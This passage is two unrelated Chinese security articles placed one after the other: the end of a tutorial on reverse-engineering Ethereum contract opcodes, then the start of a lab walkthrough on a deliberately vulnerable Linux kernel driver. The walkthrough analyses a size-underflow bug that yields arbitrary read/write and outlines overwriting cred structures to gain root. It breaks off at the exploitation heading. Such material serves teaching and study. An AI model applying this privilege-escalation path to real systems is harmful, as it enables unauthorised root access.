比如我们想获取`b[1]`的值，会把输入的`index`和`SLOAD(1)`的值进行比较，防止数组越界访问
然后计算slot的sha3哈希值:
>>> from sha3 import keccak_256
>>> slot = "01".rjust(64, "0")
>>> keccak_256(slot.encode()).hexdigest()
'20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4'
#
b[X] == SLOAD('20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4' + X)
# 获取b[2]的值
> eth.getStorageAt(合约地址, "20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a6")
在变长变量中有两个特例: `string`和`bytes`
字符串可以认为是字符数组，bytes是byte数组，当这两种变量的长度在`0-31`时，值储存在对应slot的storage上，最后一字节为`长度*2|flag`,
当flag = 1，表示长度>31，否则长度<=31
下面进行举例说明
uint i; // slot = 0
string a = "c"*31; // 1
SLOAD(1) == "c*31" + "00" | 31*2 == "636363636363636363636363636363636363636363636363636363636363633e"
当变量的长度大于31时，`SLOAD(slot)`储存`length*2|flag`，把值储存到`sha3(slot)`
uint i; // slot = 0
string a = "c"*36; // 1
SLOAD(1) == 36*2|1 == 0x49
SLOAD(SHA3("01".rjust(64, "0"))) == "c"*36
###### 4\. 结构体
结构体没有单独特殊的储存模型，结构体相当于变量数组，下面进行举例说明:
struct test {
uint a;
uint b;
uint c;
}
address g;
Test e;
# 上面变量在storage的储存方式等同于
address g;
uint a;
uint b;
uint c;
#### 函数
##### 两种调用函数的方式
下面是针对两种函数调用方式说明的测试代码，发布在测试网络上:
<https://ropsten.etherscan.io/address/0xc9fbe313dc1d6a1c542edca21d1104c338676ffd#code>
pragma solidity ^0.4.18;
contract Test {
address public owner;
uint public prize;
function Test() {
owner = msg.sender;
}
function test1() constant public returns (address) {
return owner;
}
function test2(uint p) public {
prize += p;
}
}
整个OPCODE都是在EVM中执行，所以第一个调用函数的方式就是使用EVM进行执行OPCODE:
# 调用test1
> eth.call({to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0x6b59084d"})
"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"
> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 0)
"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"
第二种方式就是通过发送交易:
# 调用test2
> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)
"0x0000000000000000000000000000000000000000000000000000000000000005"
> eth.sendTransaction({from: eth.accounts[0], to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0xcaf446830000000000000000000000000000000000000000000000000000000000000005"})
> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)
"0x000000000000000000000000000000000000000000000000000000000000000a"
这两种调用方式的区别有两个:
1. 使用call调用函数是在本地使用EVM执行合约的OPCODE，所以可以获得返回值
2. 通过交易调用的函数，能修改区块链上的storage
一个调用合约函数的交易(比如
`https://ropsten.etherscan.io/tx/0xab1040ff9b04f8fc13b12057f9c090e0a9348b7d3e7b4bb09523819e575cf651`)的信息中，是不存在返回值的信息，但是却可以修改storage的信息(一个交易是怎么修改对应的storage信息，是之后的一个研究方向)
而通过call调用，是在本地使用EVM执行OPCODE，返回值是存在MEM中return，所以可以获取到返回值，虽然也可以修改storage的数据，不过只是修改你本地数据，不通过发起交易，其他节点将不会接受你的更改，所以是一个无效的修改，同时，本地调用函数也不需要消耗gas，所以上面举例中，在调用信息的字典里，不需要`from`字段，而交易却需要指定(设置`from`)从哪个账号消耗gas。
##### 调用函数
EVM是怎么判断调用哪个函数的呢？下面使用OPCODE来进行说明
每一个智能合约入口代码是有固定模式的，我们可以称为智能合约的主函数，上面测试合约的主函数如下:
PS: [Github](https://github.com/trailofbits/ida-evm
"Github")[5]上面有一个EVM反汇编的IDA插件
[ 0x0] | PUSH1 | ['0x80']
[ 0x2] | PUSH1 | ['0x40']
[ 0x4] | MSTORE | None
[ 0x5] | PUSH1 | ['0x4']
[ 0x7] | CALLDATASIZE | None
[ 0x8] | LT | None
[ 0x9] | PUSH2 | ['0x61']
[ 0xc] | JUMPI | None
[ 0xd] | PUSH4 | ['0xffffffff']
[ 0x12] | PUSH29 | ['0x100000000000000000000000000000000000000000000000000000000']
[ 0x30] | PUSH1 | ['0x0']
[ 0x32] | CALLDATALOAD | None
[ 0x33] | DIV | None
[ 0x34] | AND | None
[ 0x35] | PUSH4 | ['0x6b59084d']
[ 0x3a] | DUP2 | None
[ 0x3b] | EQ | None
[ 0x3c] | PUSH2 | ['0x66']
[ 0x3f] | JUMPI | None
[ 0x40] | DUP1 | None
[ 0x41] | PUSH4 | ['0x8da5cb5b']
[ 0x46] | EQ | None
[ 0x47] | PUSH2 | ['0xa4']
[ 0x4a] | JUMPI | None
[ 0x4b] | DUP1 | None
[ 0x4c] | PUSH4 | ['0xcaf44683']
[ 0x51] | EQ | None
[ 0x52] | PUSH2 | ['0xb9']
[ 0x55] | JUMPI | None
[ 0x56] | DUP1 | None
[ 0x57] | PUSH4 | ['0xe3ac5d26']
[ 0x5c] | EQ | None
[ 0x5d] | PUSH2 | ['0xd3']
[ 0x60] | JUMPI | None
[ 0x61] | JUMPDEST | None
[ 0x62] | PUSH1 | ['0x0']
[ 0x64] | DUP1 | None
[ 0x65] | REVERT | None
反编译出来的代码就是:
def main():
if CALLDATASIZE >= 4:
data = CALLDATA[:4]
if data == 0x6b59084d:
test1()
elif data == 0x8da5cb5b:
owner()
elif data == 0xcaf44683:
test2()
elif data == 0xe3ac5d26:
prize()
else:
pass
raise
PS：因为个人习惯问题，反编译最终输出没有选择对应的Solidity代码，而是使用Python。
从上面的代码我们就能看出来，EVM是根据`CALLDATA`的前4字节来确定调用的函数的，这4个字节表示的是函数的sha3哈希值的前4字节:
> web3.sha3("test1()")
"0x6b59084dfb7dcf1c687dd12ad5778be120c9121b21ef90a32ff73565a36c9cd3"
> web3.sha3("owner()")
"0x8da5cb5b36e7f68c1d2e56001220cdbdd3ba2616072f718acfda4a06441a807d"
> web3.sha3("prize()")
"0xe3ac5d2656091dd8f25e87b604175717f3442b1e2af8ecd1b1f708bab76d9a91"
# 如果该函数有参数，则需要加上各个参数的类型
> web3.sha3("test2(uint256)")
"0xcaf446833eef44593b83316414b79e98fec092b78e4c1287e6968774e0283444"
所以可以去网上找个[哈希表映射](https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py "哈希表映射")[6]，这样有概率可以通过hash值，得到函数名和参数信息，减小逆向的难度
##### 主函数中的函数
上面给出的测试智能合约中只有两个函数，但是反编译出来的主函数中，却有4个函数调用，其中两个是公有函数，另两个是公有变量
智能合约变量/函数类型只有两种，公有和私有，公有和私有的区别很简单，公有的是能别外部调用访问，私有的只能被本身调用访问
对于变量，不管是公有还是私有都能通过`getStorageAt`访问，但是这是属于以太坊层面的，在智能合约层面，把公有变量给编译成了一个公有函数，在这公有函数中返回`SLOAD(slot)`，而私有函数只能在其他函数中特定的地方调用`SLOAD(slot)`来访问
在上面测试的智能合约中, `test1()`函数等同于`owner()`，我们可以来看看各自的OPCODE:
; test1()
; 0x66: loc_66
[ 0x66] | JUMPDEST | None
[ 0x67] | CALLVALUE | None
[ 0x68] | DUP1 | None
[ 0x69] | ISZERO | None
[ 0x6a] | PUSH2 | ['0x72']
[ 0x6d] | JUMPI | None
[ 0x6e] | PUSH1 | ['0x0']
[ 0x70] | DUP1 | None
[ 0x71] | REVERT | None
; 0x72: loc_72
[ 0x72] | JUMPDEST | None
[ 0x73] | POP | None
[ 0x74] | PUSH2 | ['0x7b']
[ 0x77] | PUSH2 | ['0xfa']
[ 0x7a] | JUMP | None
; 0xFA: loc_fa
[ 0xfa] | JUMPDEST | None
[ 0xfb] | PUSH1 | ['0x0']
[ 0xfd] | SLOAD | None
[ 0xfe] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
[ 0x113] | AND | None
[ 0x114] | SWAP1 | None
[ 0x115] | JUMP | None
; 0x7B: loc_7b
[ 0x7b] | JUMPDEST | None
[ 0x7c] | PUSH1 | ['0x40']
[ 0x7e] | DUP1 | None
[ 0x7f] | MLOAD | None
[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
[ 0x95] | SWAP1 | None
[ 0x96] | SWAP3 | None
[ 0x97] | AND | None
[ 0x98] | DUP3 | None
[ 0x99] | MSTORE | None
[ 0x9a] | MLOAD | None
[ 0x9b] | SWAP1 | None
[ 0x9c] | DUP2 | None
[ 0x9d] | SWAP1 | None
[ 0x9e] | SUB | None
[ 0x9f] | PUSH1 | ['0x20']
[ 0xa1] | ADD | None
[ 0xa2] | SWAP1 | None
[ 0xa3] | RETURN | None
和`owner()`函数进行对比:
; owner()
; 0xA4: loc_a4
[ 0xa4] | JUMPDEST | None
[ 0xa5] | CALLVALUE | None
[ 0xa6] | DUP1 | None
[ 0xa7] | ISZERO | None
[ 0xa8] | PUSH2 | ['0xb0']
[ 0xab] | JUMPI | None
[ 0xac] | PUSH1 | ['0x0']
[ 0xae] | DUP1 | None
[ 0xaf] | REVERT | None
; 0xB0: loc_b0
[ 0xb0] | JUMPDEST | None
[ 0xb1] | POP | None
[ 0xb2] | PUSH2 | ['0x7b']
[ 0xb5] | PUSH2 | ['0x116']
[ 0xb8] | JUMP | None
; 0x116: loc_116
[ 0x116] | JUMPDEST | None
[ 0x117] | PUSH1 | ['0x0']
[ 0x119] | SLOAD | None
[ 0x11a] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
[ 0x12f] | AND | None
[ 0x130] | DUP2 | None
[ 0x131] | JUMP | None
; 0x7B: loc_7b
[ 0x7b] | JUMPDEST | None
[ 0x7c] | PUSH1 | ['0x40']
[ 0x7e] | DUP1 | None
[ 0x7f] | MLOAD | None
[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
[ 0x95] | SWAP1 | None
[ 0x96] | SWAP3 | None
[ 0x97] | AND | None
[ 0x98] | DUP3 | None
[ 0x99] | MSTORE | None
[ 0x9a] | MLOAD | None
[ 0x9b] | SWAP1 | None
[ 0x9c] | DUP2 | None
[ 0x9d] | SWAP1 | None
[ 0x9e] | SUB | None
[ 0x9f] | PUSH1 | ['0x20']
[ 0xa1] | ADD | None
[ 0xa2] | SWAP1 | None
[ 0xa3] | RETURN | None
所以我们可以得出结论:
address public a;
会被编译成(==)
function a() public returns (address) {
return a;
}
#
address private a;
function c() public returns (address) {
return a;
}
等同于下面的变量定义(≈)
address public c;
公有函数和私有函数的区别也很简单，公有函数会被编译进主函数中，能通过`CALLDATA`进行调用，而私有函数则只能在其他公有函数中进行调用，无法直接通过设置`CALLDATA`来调用私有函数
##### 回退函数和payable
在智能合约中，函数都能设置一个`payable`，还有一个特殊的回退函数，下面用实例来介绍回退函数
比如之前的测试合约加上了回退函数:
function() {
prize += 1;
}
则主函数的反编译代码就变成了:
def main():
if CALLDATASIZE >= 4:
data = CALLDATA[:4]
if data == 0x6b59084d:
return test1()
elif data == 0x8da5cb5b:
return owner()
elif data == 0xcaf44683:
return test2()
elif data == 0xe3ac5d26:
return prize()
assert msg.value == 0
prize += 1
exit()
当`CALLDATA`和该合约中的函数匹配失败时，将会从抛异常，表示执行失败退出，变成调用回退函数
每一个函数，包括回退函数都可以加一个关键字:
`payable`，表示可以给该函数转帐，从OPCODE层面讲，没有`payable`关键字的函数比有`payable`的函数多了一段代码:
JUMPDEST | None
CALLVALUE | None
DUP1 | None
ISZERO | None
PUSH2 | ['0x8e']
JUMPI | None
PUSH1 | ['0x0']
DUP1 | None
REVERT | None
反编译成python，就是:
assert msg.value == 0
`REVERT`是异常退出指令，当交易的金额大于0时，则异常退出，交易失败
##### 函数参数
函数获取数据的方式只有两种，一个是从storage中获取数据，另一个就是接受用户传参，当函数hash表匹配成功时，我们可以知道该函数的参数个数，和各个参数的类型，但是当hash表匹配失败时，我们仍然可以获取该函数参数的个数，因为获取参数和主函数、`payable`检查一样，在OPCODE层面也有固定模型:
比如上面的测试合约，调动`test2`函数的固定模型就是: `main -> payable check -> get args -> 执行函数代码`
获取参数的OPCODE如下
; 0xAF: loc_af
[ 0xaf] | JUMPDEST | None
[ 0xb0] | POP | None
[ 0xb1] | PUSH2 | ['0xd1']
[ 0xb4] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
[ 0xc9] | PUSH1 | ['0x4']
[ 0xcb] | CALLDATALOAD | None
[ 0xcc] | AND | None
[ 0xcd] | PUSH2 | ['0x18f']
[ 0xd0] | JUMP | None
函数test2的参数`p = CALLDATA[4:4+0x20]`
如果有第二个参数，则是`arg2 = CALLDATA[4+0x20:4+0x40]`，以此类推
所以智能合约中，调用函数的规则就是`data = sha3(func_name)[:4] + *args`
但是，上面的规则仅限于定长类型的参数，如果参数是`string`这种不定长的变量类型时，固定模型仍然不变，但是在从`calldata`获取数据的方法，变得不同了，定长的变量是通过调用`CALLDATALOAD`，把值存入栈中，而`string`类型的变量，因为长度不定，会超过256bits的原因，使用的是`calldatacopy`把参数存入MEM
可以看看`function test3(string a) public {}`函数获取参数的代码:
; 0xB2: loc_b2
[ 0xb2] | JUMPDEST | None
[ 0xb3] | POP | None
[ 0xb4] | PUSH1 | ['0x40']
[ 0xb6] | DUP1 | None
[ 0xb7] | MLOAD | None
[ 0xb8] | PUSH1 | ['0x20']
[ 0xba] | PUSH1 | ['0x4']
[ 0xbc] | DUP1 | None
[ 0xbd] | CALLDATALOAD | None
[ 0xbe] | DUP1 | None
[ 0xbf] | DUP3 | None
[ 0xc0] | ADD | None
[ 0xc1] | CALLDATALOAD | None
[ 0xc2] | PUSH1 | ['0x1f']
[ 0xc4] | DUP2 | None
[ 0xc5] | ADD | None
[ 0xc6] | DUP5 | None
[ 0xc7] | SWAP1 | None
[ 0xc8] | DIV | None
[ 0xc9] | DUP5 | None
[ 0xca] | MUL | None
[ 0xcb] | DUP6 | None
[ 0xcc] | ADD | None
[ 0xcd] | DUP5 | None
[ 0xce] | ADD | None
[ 0xcf] | SWAP1 | None
[ 0xd0] | SWAP6 | None
[ 0xd1] | MSTORE | None
[ 0xd2] | DUP5 | None
[ 0xd3] | DUP5 | None
[ 0xd4] | MSTORE | None
[ 0xd5] | PUSH2 | ['0xff']
[ 0xd8] | SWAP5 | None
[ 0xd9] | CALLDATASIZE | None
[ 0xda] | SWAP5 | None
[ 0xdb] | SWAP3 | None
[ 0xdc] | SWAP4 | None
[ 0xdd] | PUSH1 | ['0x24']
[ 0xdf] | SWAP4 | None
[ 0xe0] | SWAP3 | None
[ 0xe1] | DUP5 | None
[ 0xe2] | ADD | None
[ 0xe3] | SWAP2 | None
[ 0xe4] | SWAP1 | None
[ 0xe5] | DUP2 | None
[ 0xe6] | SWAP1 | None
[ 0xe7] | DUP5 | None
[ 0xe8] | ADD | None
[ 0xe9] | DUP4 | None
[ 0xea] | DUP3 | None
[ 0xeb] | DUP1 | None
[ 0xec] | DUP3 | None
[ 0xed] | DUP5 | None
[ 0xee] | CALLDATACOPY | None
[ 0xef] | POP | None
[ 0xf0] | SWAP5 | None
[ 0xf1] | SWAP8 | None
[ 0xf2] | POP | None
[ 0xf3] | PUSH2 | ['0x166']
[ 0xf6] | SWAP7 | None
[ 0xf7] | POP | None
[ 0xf8] | POP | None
[ 0xf9] | POP | None
[ 0xfa] | POP | None
[ 0xfb] | POP | None
[ 0xfc] | POP | None
[ 0xfd] | POP | None
[ 0xfe] | JUMP | None
传入的变长参数是一个结构体:
struct string_arg {
uint offset;
uint length;
string data;
}
`offset+4`表示的是当前参数的`length`的偏移，length为data的长度，data就是用户输入的字符串数据
当有多个变长参数时: `function test3(string a, string b) public {}`
`calldata`的格式如下: `sha3(func)[:4] + a.offset + b.offset + a.length + a.data +
b.length + b.data`
翻译成py代码如下:
def test3():
offset = data[4:0x24]
length = data[offset+4:offset+4+0x20]
a = data[offset+4+0x20:length]
offset = data[0x24:0x24+0x20]
length = data[offset+4:offset+4+0x20]
b = data[offset+4+0x20:length]
因为参数有固定的模型，因此就算没有从hash表中匹配到函数名，也可以判断出函数参数的个数，但是要想知道变量类型，只能区分出定长、变长变量，具体是`uint`还是`address`，则需要从函数代码，变量的使用中进行判断
##### 变量类型的分辨
在智能合约的OPCDOE中，变量也是有特征的
比如一个`address`变量总会 `& 0xffffffffffffffffffffffffffffffffffffffff`:
PUSH1 | ['0x0']
SLOAD | None
PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff']
AND | None
上一篇说的mapping和array的储存模型，可以根据SHA3的计算方式知道是映射变量还是数组变量
再比如，`uint`变量因为等同于`uint256`，所以使用`SLOAD`获取以后不会再进行`AND`计算，但是`uint8`却会计算`& 0xff`
所以我们可以`SLOAD`指令的参数和后面紧跟的计算，来判断出变量类型
#### 智能合约代码结构
##### 部署合约
在区块链上，要同步/发布任何信息，都是通过发送交易来进行的，用之前的测试合约来举例，合约地址为:
`0xc9fbe313dc1d6a1c542edca21d1104c338676ffd`, 创建合约的交易地址为:
`0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed`
查看下该交易的相关信息:
> eth.getTransaction("0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed")
{
blockHash: "0x7f684a294f39e16ba1e82a3b6d2fc3a1e82ef023b5fb52261f9a89d831a24ed5",
blockNumber: 3607048,
from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",
gas: 171331,
gasPrice: 1000000000,
hash: "0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed",
input: "0x608060405234801561001057600080fd5b5060008054600160a060020a0319163317905561016f806100326000396000f3006080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416636b59084d81146100665780638da5cb5b146100a4578063caf44683146100b9578063e3ac5d26146100d3575b600080fd5b34801561007257600080fd5b5061007b6100fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100b057600080fd5b5061007b610116565b3480156100c557600080fd5b506100d1600435610132565b005b3480156100df57600080fd5b506100e861013d565b60408051918252519081900360200190f35b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600180549091019055565b600154815600a165627a7a7230582040d052fef9322403cb3c1de27683a42a845e091972de4c264134dd575b14ee4e0029",
nonce: 228,
r: "0xa08f0cd907207af4de54f9f63f3c9a959c3e960ef56f7900d205648edbd848c6",
s: "0x5bb99e4ab9fe76371e4d67a30208aeac558b2989a6c783d08b979239c8221a88",
to: null,
transactionIndex: 4,
v: "0x2a",
value: 0
}
我们可以看出来，想一个空目标发送`OPCODE`的交易就是创建合约的交易，但是在交易信息中，却不包含合约地址，那么合约地址是怎么得到的呢?
function addressFrom(address _origin, uint _nonce) public pure returns (address) {
if(_nonce == 0x00) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(0x80)));
if(_nonce <= 0x7f) return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce)));
if(_nonce <= 0xff) return address(keccak256(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce)));
if(_nonce <= 0xffff) return address(keccak256(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce)));
if(_nonce <= 0xffffff) return address(keccak256(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce)));
return address(keccak256(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce))); // more than 2^32 nonces not realistic
}
智能合约的地址由创建合约的账号和`nonce`决定，`nonce`用来记录用户发送的交易个数，在每个交易中都有该字段，现在根据上面的信息来计算下合约地址:
# 创建合约的账号 from: "0x0109dea8b64d87a26e7fe9af6400375099c78fdd",
# nonce: 228 = 0xe4 => 0x7f < 0xe4 < 0xff
>>> sha3.keccak_256(binascii.unhexlify("d7" + "94" + "0109dea8b64d87a26e7fe9af6400375099c78fdd" + "81e4")).hexdigest()[-40:]
'c9fbe313dc1d6a1c542edca21d1104c338676ffd'
##### 创建合约代码
一个智能合约的OPCODE分为两种，一个是编译器编译好后的创建合约代码，还是合约部署好以后runtime代码，之前我们看的，研究的都是runtime代码，现在来看看创建合约代码，创建合约代码可以在创建合约交易的`input`数据总获取，上面已经把数据粘贴出来了，反汇编出指令如下:
; 0x0: main
[ 0x0] | PUSH1 | ['0x80']
[ 0x2] | PUSH1 | ['0x40']
[ 0x4] | MSTORE | None
[ 0x5] | CALLVALUE | None
[ 0x6] | DUP1 | None
[ 0x7] | ISZERO | None
[ 0x8] | PUSH2 | ['0x10']
[ 0xb] | JUMPI | None
[ 0xc] | PUSH1 | ['0x0']
[ 0xe] | DUP1 | None
[ 0xf] | REVERT | None
---------------------------------------------------------------- ; 0x10: loc_10
[ 0x10] | JUMPDEST | None
[ 0x11] | POP | None
[ 0x12] | PUSH1 | ['0x0']
[ 0x14] | DUP1 | None
[ 0x15] | SLOAD | None
[ 0x16] | PUSH1 | ['0x1']
[ 0x18] | PUSH1 | ['0xa0']
[ 0x1a] | PUSH1 | ['0x2']
[ 0x1c] | EXP | None
[ 0x1d] | SUB | None
[ 0x1e] | NOT | None
[ 0x1f] | AND | None
[ 0x20] | CALLER | None
[ 0x21] | OR | None
[ 0x22] | SWAP1 | None
[ 0x23] | SSTORE | None
[ 0x24] | PUSH2 | ['0x24f']
[ 0x27] | DUP1 | None
[ 0x28] | PUSH2 | ['0x32']
[ 0x2b] | PUSH1 | ['0x0']
[ 0x2d] | CODECOPY | None
[ 0x2e] | PUSH1 | ['0x0']
[ 0x30] | RETURN | None
代码逻辑很简单，就是执行了合约的构造函数，并且返回了合约的runtime代码，该合约的构造函数为:
function Test() {
owner = msg.sender;
}
因为没有`payable`关键字，所以开头是一个check代码`assert msg.value == 0`
然后就是对`owner`变量的赋值，当执行完构造函数后，就是把runtime代码复制到内存中:
CODECOPY(0, 0x32, 0x24f) # mem[0:0+0x24f] = CODE[0x32:0x32+0x24f]
最后在把runtime代码返回: `return mem[0:0x24f]`
在完全了解合约是如何部署的之后，也许可以写一个OPCODE混淆的CTF逆向题
#### 总结
通过了解EVM的数据结构模型，不仅可以加快对OPCODE的逆向速度，对于编写反编译脚本也有非常大的帮助，可以对反编译出来的代码进行优化，使得更加接近源码。
在对智能合约的OPCODE有了一定的了解后，后续准备先写一个EVM的调试器，虽然Remix已经有了一个非常优秀的调试器了，但是却需要有`Solidity`源代码，这无法满足我测试无源码的OPCODE的工作需求。所以请期待下篇《以太坊智能合约OPCODE逆向之调试器篇》
* * *
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
#### 引用
1. <https://github.com/comaeio/porosity>
2. <https://github.com/meyer9/ethdasm>
3. <https://github.com/trailofbits/evm-opcodes>
4. <http://solidity.readthedocs.io/en/v0.4.21/assembly.html>
5. <https://github.com/trailofbits/ida-evm>
6. <https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py>
* * * | 社区文章 |
说明：实验所需的驱动源码、bzImage、cpio文件见[我的github](https://github.com/bsauce/kernel_exploit_series)进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者[我的简书](https://www.jianshu.com/u/a12c5b882be2)。
从任意地址读写到提权的方法，可以参考[【linux内核漏洞利用】StringIPC—从任意读写到权限提升三种方法](https://www.jianshu.com/p/07994f8b2bb0)。
# 一、漏洞代码分析
代码见`arbitrary.h`。
### 1.功能函数介绍
功能 | 输入结构名 | 输入结构 | 功能
---|---|---|---
ARBITRARY_RW_INIT | init_args | size |
初始化全局对象，存于g_mem_buffer。kmalloc(size)空间存于*data
ARBITRARY_RW_REALLOC | realloc_args | grow; size; |
grow为1则扩充，为0则缩小。`data_size`=g_mem_buffer->data_size + args->size;
`data`=krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
ARBITRARY_RW_READ | read_args | *buff; count; | copy_to_user(buff,
g_mem_buffer->data + `pos`, count);
ARBITRARY_RW_SEEK | seek_args | new_pos; | `pos` = s_args->new_pos;
ARBITRARY_RW_WRITE | write_args | *buff; count; |
copy_from_user(g_mem_buffer->data + `pos`, w_args->buff, count);
全局对象地址存于g_mem_buffer：
// 全局对象
typedef struct mem_buffer {
size_t data_size;
char *data;
loff_t pos;
}mem_buffer;
### 2\. 漏洞分析
static int realloc_mem_buffer(realloc_args *args)
{
if(g_mem_buffer == NULL)
return -EINVAL;
size_t new_size;
char *new_data;
//We can overflow size here by making new_size = -1
if(args->grow)
new_size = g_mem_buffer->data_size + args->size;
else
new_size = g_mem_buffer->data_size - args->size;
//new_size here will equal 0 krealloc(..., 0) = ZERO_SIZE_PTR
new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
//missing check for return value ZERO_SIZE_PTR
if(new_data == NULL)
return -ENOMEM;
g_mem_buffer->data = new_data;
g_mem_buffer->data_size = new_size;
printk(KERN_INFO "[x] g_mem_buffer->data_size = %lu [x]\n", g_mem_buffer->data_size);
return 0;
}
漏洞：`realloc_mem_buffer()`中未检查传入变量`args->size`的正负，可以传入负数。如果通过传入负数，使得`new_size==
-1`，由于`kmalloc(new_size+1)`，由于`kmalloc(0)`会返回0x10，这样`g_mem_buffer->data ==
0x10; g_mem_buffer->data_size == 0xffffffffffffffff`，读写时只会检查是否满足`((count +
pos) < g_mem_buffer->data_size)`条件，实现任意地址读写。
krealloc源码如下：
// /include/linux/slab.h
#define ZERO_SIZE_PTR ((void *)16)
// /mm/slab_common.c
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;
if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}
ret = __do_krealloc(p, new_size, flags);
if (ret && kasan_reset_tag(p) != kasan_reset_tag(ret))
kfree(p);
return ret;
}
//krealloc传入0时返回0x10
read_mem_buffer()函数如下，若满足条件`((count + pos) <
g_mem_buffer->data_size)`，则读取内容。若`g_mem_buffer->data_size ==
0xffffffffffffffff`，则无论读取偏移多大，都满足本条件。
static int read_mem_buffer(char __user *buff, size_t count)
{
if(g_mem_buffer == NULL)
return -EINVAL;
loff_t pos;
int ret;
pos = g_mem_buffer->pos;
if((count + pos) > g_mem_buffer->data_size)
return -EINVAL;
ret = copy_to_user(buff, g_mem_buffer->data + pos, count);
return ret;
}
* * *
# 二、 漏洞利用
思路：ARBITRARY_RW_REALLOC 时，传入负数size，使得`new_size ==
0xffffffffffffffff`，这样返回堆块地址为0x10，达到任意地址读写的目的。
### 1\. 方法一：修改cred结构提权
##### （1）cred结构体
每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度，结构体同时也包含了线程的一系列信息。
thread_info结构体存放位于线程栈的最低地址，对应的结构体定义（\arch\x86\include\asm\thread_info.h 55）：
struct thread_info {
struct task_struct *task; /* main task structure */ // <--------------------重要
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
thread_info中最重要的信息是task_struct结构体，定义在（\include\linux\sched.h 1390）。
//裁剪过后
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
其中，cred结构体（\include\linux\cred.h
118）就表示该线程的权限。只要将结构体的uid~fsgid全部覆写为0即可提权该线程（root uid为0）。前28字节！！！！
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
##### （2）漏洞利用
